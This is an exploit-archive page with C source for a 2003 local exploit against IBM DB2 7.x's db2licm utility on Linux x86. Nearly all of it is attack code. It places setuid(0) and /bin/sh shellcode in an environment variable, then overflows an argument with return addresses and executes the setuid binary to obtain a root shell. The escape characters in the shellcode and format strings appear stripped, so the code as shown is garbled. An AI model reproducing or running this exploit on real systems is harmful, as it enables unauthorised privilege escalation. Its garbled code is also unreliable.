[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : IBM DB2 Universal Database 7.2 (db2licm) Local Exploit
# Published : 2003-09-27
# Author : Juan Escriba
# Previous Title : Solaris Runtime Linker (ld.so.1) Buffer Overflow Exploit (SPARC version)
# Next Title : OpenBSD (ibcs2_exec) Kernel Local Exploit
/*
Local Exploit for db2licm
IBM db2 v 7.1 Linux/x86
vulnerability researched by
Juan Manuel Pascual Escriba
pask at uninet.edu
*/
char sc[]=
"x31xc0" /* begin setuid (0) */
"x31xdb"
"xb0x17"
"xcdx80"
"xebx1f"
"x5e"
"x89x76x08"
"x31xc0"
"x88x46x07"
"x89x46x0c"
"xb0x0b"
"x89xf3"
"x8dx4ex08"
"x8dx56x0c"
"xcdx80"
"x31xdb"
"x89xd8"
"x40"
"xcdx80"
"xe8xdcxffxffxff"
"/bin/sh";
#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 1000
#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"
#define DFL_ALG 4
int main(int arc, char **arv){
char *argv[3];
char *envp[2];
unsigned long sc_address, ba=0;
unsigned char alg = DFL_ALG;
unsigned long *p;
unsigned char *q;
unsigned int i;
sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
printf("shellcode address = 0x%Xn",sc_address);
if( (sc_address & ALG_MASK) != sc_address ) {
ba = sc_address - (sc_address & ALG_MASK);
printf("adding %d trailing bytes to backward align Shellcode to 0x%Xn", ba,
sc_address & ALG_MASK);
sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
printf("new shellcode address = 0x%Xn",sc_address);
}
envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
q = envp[0];
strcpy(q,"pete=");
q += strlen("pete=");
memcpy(q,sc,sizeof(sc));
q += sizeof(sc)-1;
memset(q,'A',ba);
q += ba;
*q = 0;
envp[1] = 0;
/* build overflowing arvg[2] */
printf("using alignment = %d in overflow buffern",alg);
argv[0] = DB2LICM;
argv[1] = "-a";
argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
memset(argv[2],'A',alg);
p=(unsigned long*)(argv[2]+alg);
for(i=0;i<ADDR;i++) {
*p = sc_address;
p++;
};
*p = 0;
argv[3] = 0;
printf("executing %s ...nn",argv[0]);
execve(argv[0],argv,envp);
}
// www.Syue.com [2003-09-27]